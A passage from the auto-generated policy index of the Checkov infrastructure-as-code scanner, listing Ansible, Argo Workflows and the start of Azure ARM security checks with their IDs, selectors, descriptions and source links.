[YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 53 | CKV_ANSIBLE_4 | resource | [].block[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 54 | CKV_ANSIBLE_4 | resource | [].block[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 55 | CKV_ANSIBLE_4 | resource | [].block[].block[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 56 | CKV_ANSIBLE_4 | resource | [].tasks[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 57 | CKV_ANSIBLE_4 | resource | [].tasks[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 58 | CKV_ANSIBLE_4 | resource | [].tasks[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 59 | CKV_ANSIBLE_4 | resource | [].tasks[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 60 | CKV_ANSIBLE_4 | resource | [].tasks[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 61 | CKV_ANSIBLE_4 | resource | [].tasks[].block[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 62 | CKV_ANSIBLE_4 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 63 | CKV_ANSIBLE_4 | resource | [].tasks[].block[].block[].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 64 | CKV_ANSIBLE_5 | resource | [?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 65 | CKV_ANSIBLE_5 | resource | [?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 66 | CKV_ANSIBLE_5 | resource | [].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 67 | CKV_ANSIBLE_5 | resource | [].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 68 | CKV_ANSIBLE_5 | resource | [].block[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 69 | CKV_ANSIBLE_5 | resource | [].block[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 70 | CKV_ANSIBLE_5 | resource | [].block[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 71 | CKV_ANSIBLE_5 | resource | [].block[].block[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 72 | CKV_ANSIBLE_5 | resource | [].tasks[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 73 | CKV_ANSIBLE_5 | resource | [].tasks[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 74 | CKV_ANSIBLE_5 | resource | [].tasks[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 75 | CKV_ANSIBLE_5 | resource | [].tasks[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 76 | CKV_ANSIBLE_5 | resource | [].tasks[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 77 | CKV_ANSIBLE_5 | resource | [].tasks[].block[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 78 | CKV_ANSIBLE_5 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 79 | CKV_ANSIBLE_5 | resource | [].tasks[].block[].block[].block[?"apt" != null][] | Ensure that packages with untrusted or missing signatures are not used | Ansible | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py) | | 80 | CKV_ANSIBLE_6 | resource | [?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 81 | CKV_ANSIBLE_6 | resource | [?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 82 | CKV_ANSIBLE_6 | resource | [].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 83 | CKV_ANSIBLE_6 | resource | [].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 84 | CKV_ANSIBLE_6 | resource | [].block[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 85 | CKV_ANSIBLE_6 | resource | [].block[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 86 | CKV_ANSIBLE_6 | resource | [].block[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 87 | CKV_ANSIBLE_6 | resource | [].block[].block[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 88 | CKV_ANSIBLE_6 | resource | [].tasks[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 89 | CKV_ANSIBLE_6 | resource | [].tasks[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 90 | CKV_ANSIBLE_6 | resource | [].tasks[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 91 | CKV_ANSIBLE_6 | resource | [].tasks[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 92 | CKV_ANSIBLE_6 | resource | [].tasks[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 93 | CKV_ANSIBLE_6 | resource | [].tasks[].block[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 94 | CKV_ANSIBLE_6 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 95 | CKV_ANSIBLE_6 | resource | [].tasks[].block[].block[].block[?"apt" != null][] | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | Ansible | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py) | | 96 | CKV2_ANSIBLE_1 | resource | tasks.ansible.builtin.uri | Ensure that HTTPS url is used with uri | Ansible | [UriHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml) | | 97 | CKV2_ANSIBLE_1 | resource | tasks.uri | Ensure that HTTPS url is used with uri | Ansible | [UriHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml) | | 98 | CKV2_ANSIBLE_2 | resource | tasks.ansible.builtin.get_url | Ensure that HTTPS url is used with get_url | Ansible | [GetUrlHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml) | | 99 | CKV2_ANSIBLE_2 | resource | tasks.get_url | Ensure that HTTPS url is used with get_url | Ansible | [GetUrlHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml) | | 100 | CKV2_ANSIBLE_3 | resource | block | Ensure block is handling task errors properly | Ansible | [BlockErrorHandling.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/BlockErrorHandling.yaml) | | 101 | CKV2_ANSIBLE_4 | resource | tasks.ansible.builtin.dnf | Ensure that packages with untrusted or missing GPG signatures are not used by dnf | Ansible | [DnfDisableGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml) | | 102 | CKV2_ANSIBLE_4 | resource | tasks.dnf | Ensure that packages with untrusted or missing GPG signatures are not used by dnf | Ansible | [DnfDisableGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml) | | 103 | CKV2_ANSIBLE_5 | resource | tasks.ansible.builtin.dnf | Ensure that SSL validation isn't disabled with dnf | Ansible | [DnfSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfSslVerify.yaml) | | 104 | CKV2_ANSIBLE_5 | resource | tasks.dnf | Ensure that SSL validation isn't disabled with dnf | Ansible | [DnfSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfSslVerify.yaml) | | 105 | CKV2_ANSIBLE_6 | resource | tasks.ansible.builtin.dnf | Ensure that certificate validation isn't disabled with dnf | Ansible | [DnfValidateCerts.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml) | | 106 | CKV2_ANSIBLE_6 | resource | tasks.dnf | Ensure that certificate validation isn't disabled with dnf | Ansible | [DnfValidateCerts.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml) | | 107 | CKV_AWS_88 | resource | [?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 108 | CKV_AWS_88 | resource | [?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 109 | CKV_AWS_88 | resource | [].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 110 | CKV_AWS_88 | resource | [].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 111 | CKV_AWS_88 | resource | [].block[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 112 | CKV_AWS_88 | resource | [].block[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 113 | CKV_AWS_88 | resource | [].block[].block[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 114 | CKV_AWS_88 | resource | [].block[].block[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 115 | CKV_AWS_88 | resource | [].tasks[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 116 | CKV_AWS_88 | resource | [].tasks[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 117 | CKV_AWS_88 | resource | [].tasks[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 118 | CKV_AWS_88 | resource | [].tasks[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 119 | CKV_AWS_88 | resource | [].tasks[].block[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 120 | CKV_AWS_88 | resource | [].tasks[].block[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 121 | CKV_AWS_88 | resource | [].tasks[].block[].block[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 122 | CKV_AWS_88 | resource | [].tasks[].block[].block[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 123 | CKV_AWS_135 | resource | [?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 124 | CKV_AWS_135 | resource | [?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 125 | CKV_AWS_135 | resource | [].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 126 | CKV_AWS_135 | resource | [].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 127 | CKV_AWS_135 | resource | [].block[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 128 | CKV_AWS_135 | resource | [].block[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 129 | CKV_AWS_135 | resource | [].block[].block[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 130 | CKV_AWS_135 | resource | [].block[].block[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 131 | CKV_AWS_135 | resource | [].tasks[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 132 | CKV_AWS_135 | resource | [].tasks[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 133 | CKV_AWS_135 | resource | [].tasks[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 134 | CKV_AWS_135 | resource | [].tasks[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 135 | CKV_AWS_135 | resource | [].tasks[].block[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 136 | CKV_AWS_135 | resource | [].tasks[].block[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 137 | CKV_AWS_135 | resource | [].tasks[].block[].block[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 138 | CKV_AWS_135 | resource | [].tasks[].block[].block[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 139 | CKV_PAN_2 | resource | tasks.paloaltonetworks.panos.panos_management_profile | Ensure plain-text management HTTP is not enabled for an Interface Management Profile | Ansible | [PanosInterfaceMgmtProfileNoHTTP.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoHTTP.yaml) | | 140 | CKV_PAN_3 | resource | tasks.paloaltonetworks.panos.panos_management_profile | Ensure plain-text management Telnet is not enabled for an Interface Management Profile | Ansible | [PanosInterfaceMgmtProfileNoTelnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoTelnet.yaml) | | 141 | CKV_PAN_4 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure DSRI is not enabled within security policies | Ansible | [PanosPolicyNoDSRI.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoDSRI.yaml) | | 142 | CKV_PAN_5 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure security rules do not have 'application' set to 'any' | Ansible | [PanosPolicyNoApplicationAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoApplicationAny.yaml) | | 143 | CKV_PAN_6 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure security rules do not have 'service' set to 'any' | Ansible | [PanosPolicyNoServiceAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoServiceAny.yaml) | | 144 | CKV_PAN_7 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure security rules do not have 'source_ip' and 'destination_ip' both containing values of 'any' | Ansible | [PanosPolicyNoSrcAnyDstAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoSrcAnyDstAny.yaml) | | 145 | CKV_PAN_8 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure description is populated within security policies | Ansible | [PanosPolicyDescription.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyDescription.yaml) | | 146 | CKV_PAN_9 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure a Log Forwarding Profile is selected for each security policy rule | Ansible | [PanosPolicyLogForwarding.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLogForwarding.yaml) | | 147 | CKV_PAN_10 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure logging at session end is enabled within security policies | Ansible | [PanosPolicyLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLoggingEnabled.yaml) | | 148 | CKV_PAN_12 | resource | tasks.paloaltonetworks.panos.panos_ipsec_profile | Ensure IPsec profiles do not specify use of insecure authentication algorithms | Ansible | [PanosIPsecAuthenticationAlgorithms.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosIPsecAuthenticationAlgorithms.yaml) | | 149 | CKV_PAN_13 | resource | tasks.paloaltonetworks.panos.panos_ipsec_profile | Ensure IPsec profiles do not specify use of insecure protocols | Ansible | [PanosIPsecProtocols.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosIPsecProtocols.yaml) | | 150 | CKV_PAN_14 | resource | tasks.paloaltonetworks.panos.panos_zone | Ensure a Zone Protection Profile is defined within Security Zones | Ansible | [PanosZoneProtectionProfile.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosZoneProtectionProfile.yaml) | | 151 | CKV_PAN_15 | resource | tasks.paloaltonetworks.panos.panos_zone | Ensure an Include ACL is defined for a Zone when User-ID is enabled | Ansible | [PanosZoneUserIDIncludeACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosZoneUserIDIncludeACL.yaml) | | 152 | CKV_PAN_16 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure logging at session start is disabled within security policies except for troubleshooting and long lived GRE tunnels | Ansible | [PanosPolicyLogSessionStart.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLogSessionStart.yaml) | | 153 | CKV_PAN_17 | resource | tasks.paloaltonetworks.panos.panos_security_rule | Ensure security rules do not have 'source_zone' and 'destination_zone' both containing values of 'any' | Ansible | [PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml) | --- ================================================ FILE: docs/5.Policy Index/argo_workflows.md ================================================ --- layout: default title: argo_workflows resource scans nav_order: 1 --- # argo_workflows resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|------------|----------------|----------|---------------------------------------------------------------|----------------|-----------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_ARGO_1 | argo_workflows | spec | Ensure Workflow pods are not using the default ServiceAccount | Argo Workflows | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/argo_workflows/checks/template/DefaultServiceAccount.py) | | 1 | CKV_ARGO_2 | argo_workflows | spec | Ensure Workflow pods are running as non-root user | Argo Workflows | [RunAsNonRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/argo_workflows/checks/template/RunAsNonRoot.py) | --- ================================================ FILE: docs/5.Policy Index/arm.md ================================================ --- layout: default title: arm resource scans nav_order: 1 --- # arm resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |-----|---------------|-----------|------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------|-------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_AZURE_1 | resource | Microsoft.Compute/virtualMachines | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead) | arm | 